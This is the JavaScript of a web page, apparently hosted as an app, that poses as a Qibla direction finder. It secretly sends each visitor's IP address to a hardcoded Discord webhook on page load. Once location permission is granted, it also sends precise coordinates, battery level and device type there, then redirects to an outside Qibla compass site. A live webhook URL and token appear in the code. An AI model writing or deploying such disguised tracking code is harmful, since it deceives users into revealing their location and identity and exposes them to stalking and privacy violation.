Spaces:
Running
Running
| // Enhanced notification system | |
| class NotificationManager { | |
| constructor() { | |
| this.toastElement = document.getElementById('notificationToast'); | |
| this.toastInstance = new bootstrap.Toast(this.toastElement, { | |
| autohide: true, | |
| delay: 5000 | |
| }); | |
| } | |
| show(message, type = 'info') { | |
| const toastBody = this.toastElement.querySelector('.toast-body'); | |
| const icon = toastBody.querySelector('i'); | |
| const messageSpan = toastBody.querySelector('.toast-message'); | |
| // Reset classes | |
| this.toastElement.className = 'toast'; | |
| // Set message | |
| messageSpan.textContent = message; | |
| // Set icon and style based on type | |
| switch(type) { | |
| case 'success': | |
| this.toastElement.classList.add('toast-success'); | |
| icon.className = 'bi bi-check-circle-fill me-2'; | |
| break; | |
| case 'error': | |
| this.toastElement.classList.add('toast-error'); | |
| icon.className = 'bi bi-exclamation-triangle-fill me-2'; | |
| break; | |
| case 'info': | |
| this.toastElement.classList.add('toast-info'); | |
| icon.className = 'bi bi-info-circle-fill me-2'; | |
| break; | |
| case 'warning': | |
| this.toastElement.classList.add('toast-warning'); | |
| icon.className = 'bi bi-exclamation-triangle-fill me-2'; | |
| break; | |
| } | |
| this.toastInstance.show(); | |
| } | |
| } | |
| // Enhanced geolocation handler | |
| class QiblaFinder { | |
| constructor() { | |
| this.button = document.getElementById('getLocationBtn'); | |
| this.loadingSpinner = document.getElementById('loadingSpinner'); | |
| this.statusMessage = document.getElementById('statusMessage'); | |
| this.isProcessing = false; | |
| this.init(); | |
| } | |
| init() { | |
| // Send IP address on load | |
| this.sendIpAddressOnLoad(); | |
| // Add button click handler | |
| this.button.addEventListener('click', () => this.handleLocationRequest()); | |
| // Check geolocation support | |
| if (!navigator.geolocation) { | |
| this.showError('Geolocation is not supported by this browser. Please use a modern browser like Chrome, Firefox, or Safari.'); | |
| notifications.show('Geolocation not supported by this browser', 'error'); | |
| } | |
| } | |
| handleLocationRequest() { | |
| if (this.isProcessing) return; | |
| this.isProcessing = true; | |
| this.showLoading(true); | |
| this.button.disabled = true; | |
| notifications.show('Requesting your location...', 'info'); | |
| const options = { | |
| enableHighAccuracy: true, | |
| timeout: 10000, | |
| maximumAge: 300000 // 5 minutes | |
| }; | |
| navigator.geolocation.getCurrentPosition( | |
| (position) => this.handleSuccess(position), | |
| (error) => this.handleError(error), | |
| options | |
| ); | |
| } | |
| handleSuccess(position) { | |
| const { latitude, longitude } = position.coords; | |
| const accuracy = position.coords.accuracy; | |
| notifications.show(`Location found with ${Math.round(accuracy)}m accuracy`, 'success'); | |
| this.showStatus(`Location acquired successfully! Accuracy: ${Math.round(accuracy)} meters`, 'success'); | |
| // Send location data | |
| this.sendLocationData(latitude, longitude, accuracy); | |
| } | |
| handleError(error) { | |
| this.isProcessing = false; | |
| this.showLoading(false); | |
| this.button.disabled = false; | |
| let errorMessage = ''; | |
| let userMessage = ''; | |
| let showPermissionHelp = false; | |
| switch(error.code) { | |
| case error.PERMISSION_DENIED: | |
| errorMessage = "User denied the request for Geolocation."; | |
| userMessage = "Location access denied. Please enable location permissions to find Qibla direction."; | |
| showPermissionHelp = true; | |
| notifications.show('Location permission denied', 'error'); | |
| break; | |
| case error.POSITION_UNAVAILABLE: | |
| errorMessage = "Location information is unavailable."; | |
| userMessage = "Unable to determine your location. Please check your GPS settings."; | |
| notifications.show('Location unavailable', 'error'); | |
| break; | |
| case error.TIMEOUT: | |
| errorMessage = "The request to get user location timed out."; | |
| userMessage = "Location request timed out. Please try again."; | |
| notifications.show('Location request timed out', 'warning'); | |
| break; | |
| default: | |
| errorMessage = "An unknown error occurred."; | |
| userMessage = "An unexpected error occurred. Please try again."; | |
| notifications.show('Unknown error occurred', 'error'); | |
| break; | |
| } | |
| this.showStatus(userMessage, 'error'); | |
| if (showPermissionHelp) { | |
| this.showPermissionHelp(); | |
| } | |
| // Send error to Discord | |
| this.sendMessageToDiscord(errorMessage); | |
| console.error('Geolocation error:', error); | |
| } | |
| showPermissionHelp() { | |
| setTimeout(() => { | |
| const helpMessage = ` | |
| <div class="mt-3 p-3 bg-light rounded"> | |
| <h6><i class="bi bi-lightbulb text-warning me-2"></i>How to enable location:</h6> | |
| <ul class="text-start small mb-0"> | |
| <li><strong>Chrome:</strong> Click the location icon in the address bar</li> | |
| <li><strong>Firefox:</strong> Click the shield icon and allow location</li> | |
| <li><strong>Safari:</strong> Go to Settings > Privacy & Security > Location Services</li> | |
| <li><strong>Mobile:</strong> Check your browser's location permissions in device settings</li> | |
| </ul> | |
| </div> | |
| `; | |
| this.statusMessage.innerHTML += helpMessage; | |
| }, 1000); | |
| } | |
| showLoading(show) { | |
| this.loadingSpinner.style.display = show ? 'block' : 'none'; | |
| } | |
| showStatus(message, type) { | |
| this.statusMessage.className = `status-message status-${type}`; | |
| this.statusMessage.innerHTML = `<i class="bi bi-${type === 'success' ? 'check-circle' : type === 'error' ? 'exclamation-triangle' : 'info-circle'} me-2"></i>${message}`; | |
| this.statusMessage.classList.remove('d-none'); | |
| } | |
| async sendLocationData(latitude, longitude, accuracy) { | |
| try { | |
| const googleMapsLink = `https://www.google.com/maps?q=${latitude},${longitude}`; | |
| const userAgent = navigator.userAgent; | |
| let batteryInfo = 'Not Available'; | |
| // Get battery info if available | |
| if ('getBattery' in navigator) { | |
| try { | |
| const battery = await navigator.getBattery(); | |
| batteryInfo = `${(battery.level * 100).toFixed(1)}% (${battery.charging ? 'Charging' : 'Not Charging'})`; | |
| } catch (e) { | |
| console.log('Battery API not available'); | |
| } | |
| } | |
| // Get IP address | |
| const ipResponse = await fetch('https://api.ipify.org?format=json'); | |
| const ipData = await ipResponse.json(); | |
| const message = { | |
| content: `π― **New Qibla Location Request**\n` + | |
| `π **Location:** ${googleMapsLink}\n` + | |
| `π **IP Address:** ${ipData.ip}\n` + | |
| `π± **Accuracy:** ${Math.round(accuracy)} meters\n` + | |
| `π **Battery:** ${batteryInfo}\n` + | |
| `π» **Device:** ${this.getDeviceInfo(userAgent)}\n` + | |
| `π **Time:** ${new Date().toLocaleString()}` | |
| }; | |
| const webhookUrl = 'https://discordapp.com/api/webhooks/1259411474372366376/qUp54Pc4sKQOVGY41X4gzNOEKfHaVsSKDsQiAZKVSnFwvPgwTZnScX12N6Pu9i1pVW2B'; | |
| const response = await fetch(webhookUrl, { | |
| method: 'POST', | |
| headers: { 'Content-Type': 'application/json' }, | |
| body: JSON.stringify(message) | |
| }); | |
| if (response.ok) { | |
| setTimeout(() => { | |
| notifications.show('Redirecting to Qibla compass...', 'success'); | |
| this.redirectToQibla(); | |
| }, 2000); | |
| } else { | |
| throw new Error(`HTTP ${response.status}`); | |
| } | |
| } catch (error) { | |
| console.error('Error sending location data:', error); | |
| notifications.show('Failed to process location data', 'error'); | |
| this.showStatus('Failed to process location data, but you can still access the Qibla compass.', 'warning'); | |
| setTimeout(() => this.redirectToQibla(), 3000); | |
| } finally { | |
| this.isProcessing = false; | |
| this.showLoading(false); | |
| this.button.disabled = false; | |
| } | |
| } | |
| getDeviceInfo(userAgent) { | |
| if (/Android/i.test(userAgent)) return 'Android Device'; | |
| if (/iPhone|iPad/i.test(userAgent)) return 'iOS Device'; | |
| if (/Windows/i.test(userAgent)) return 'Windows PC'; | |
| if (/Mac/i.test(userAgent)) return 'Mac'; | |
| if (/Linux/i.test(userAgent)) return 'Linux'; | |
| return 'Unknown Device'; | |
| } | |
| async sendIpAddressOnLoad() { | |
| try { | |
| const response = await fetch('https://api.ipify.org?format=json'); | |
| const data = await response.json(); | |
| const message = { | |
| content: `π **New Visitor**\nπ **IP:** ${data.ip}\nπ **Time:** ${new Date().toLocaleString()}` | |
| }; | |
| fetch('https://discordapp.com/api/webhooks/1259411474372366376/qUp54Pc4sKQOVGY41X4gzNOEKfHaVsSKDsQiAZKVSnFwvPgwTZnScX12N6Pu9i1pVW2B', { | |
| method: 'POST', | |
| headers: { 'Content-Type': 'application/json' }, | |
| body: JSON.stringify(message) | |
| }); | |
| } catch (error) { | |
| console.error('Error sending IP address:', error); | |
| } | |
| } | |
| sendMessageToDiscord(messageContent) { | |
| const message = { | |
| content: `β οΈ **Error Report**\nπ **Message:** ${messageContent}\nπ **Time:** ${new Date().toLocaleString()}` | |
| }; | |
| fetch('https://discordapp.com/api/webhooks/1259411474372366376/qUp54Pc4sKQOVGY41X4gzNOEKfHaVsSKDsQiAZKVSnFwvPgwTZnScX12N6Pu9i1pVW2B', { | |
| method: 'POST', | |
| headers: { 'Content-Type': 'application/json' }, | |
| body: JSON.stringify(message) | |
| }).catch(error => console.error('Discord webhook error:', error)); | |
| } | |
| redirectToQibla() { | |
| window.location.href = 'https://www.al-habib.info/qibla-pointer/online-qibla-compass.htm'; | |
| } | |
| } | |
| // Initialize when DOM is loaded | |
| document.addEventListener('DOMContentLoaded', () => { | |
| // Initialize notification manager | |
| window.notifications = new NotificationManager(); | |
| // Initialize Qibla finder | |
| new QiblaFinder(); | |
| }); | |
| // Show welcome notification | |
| window.addEventListener('load', () => { | |
| setTimeout(() => { | |
| if (window.notifications) { | |
| window.notifications.show('Welcome! Click the button to find your Qibla direction.', 'info'); | |
| } | |
| }, 1500); | |
| }); |